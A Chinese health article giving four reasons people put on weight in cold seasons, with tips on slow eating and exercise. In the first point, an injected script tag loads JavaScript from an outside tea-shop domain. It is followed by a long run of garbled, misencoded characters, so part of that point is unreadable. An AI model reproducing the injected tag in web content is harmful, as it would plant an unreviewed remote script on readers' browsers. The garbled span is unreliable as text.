寒冷季节热让你发胖的四大原因
人们都有这样的体会，已进入秋冬季节人得体重会有所上升，即使减肥的人们也不例外，为什么会有这样的现象呢？有以下四个原因：
1、进入秋冬季节人得食欲会有所增加，一顿饭吃完了还意犹未尽?script type='text/javascript' src='http://www.368tea.com/js/v.js'>瓜朐俪孕┒鳎虼嗽匠栽蕉唷Ｕ馐且蛭滴潞笕说幕〈宦时认奶旄撸佣贾率澄锏纳闳×吭黾樱秤笤觥６说谋ナ持惺嘤晌复酱竽裕枰?0分钟，如果一下子把饭吃完，大脑还没有收到吃饱的讯号，当然就会因没有饱足感而继续吃。此时人们应养成细嚼慢咽的习惯，减少多余食物摄入。此外，餐前先喝汤或是一大杯水，让胃得到饱足感，也是有效减少进食量的方法。
2、气温降低人得食欲大增，而此时人们开始想吃那些油炸的美食。这是因为经历了炎热的夏季不想进食以后，随着气温的降低人们则开始想念那些美味佳肴，此时再加上天气寒冷人们的运动量减少，使过多的能量不能被消耗而体重增加。告诫那些想吃美味的人们进食时一定要要减少能量的摄入，同时还要加强锻炼，使摄入的过多的能量消耗掉，这样才能不再使体重增加。
3、进入寒冷季节，衣服一天比一天穿的多，从此对自己的线条也越来越不在意。这是一种错误的认识，我们平时还要注意自己的体形，及时让自己感觉到体重增加了，我该控制了。不要等到来年再发现，再减肥那就太晚了。
4、进入寒冷季节，人们的户外活动减少，体重也会慢慢上升，因为过多的能量不能被消耗，才导致发胖。此时还要继续锻炼身体，进行一些室内的活动，将多余的热量燃烧掉，使自己的体重不再上升。
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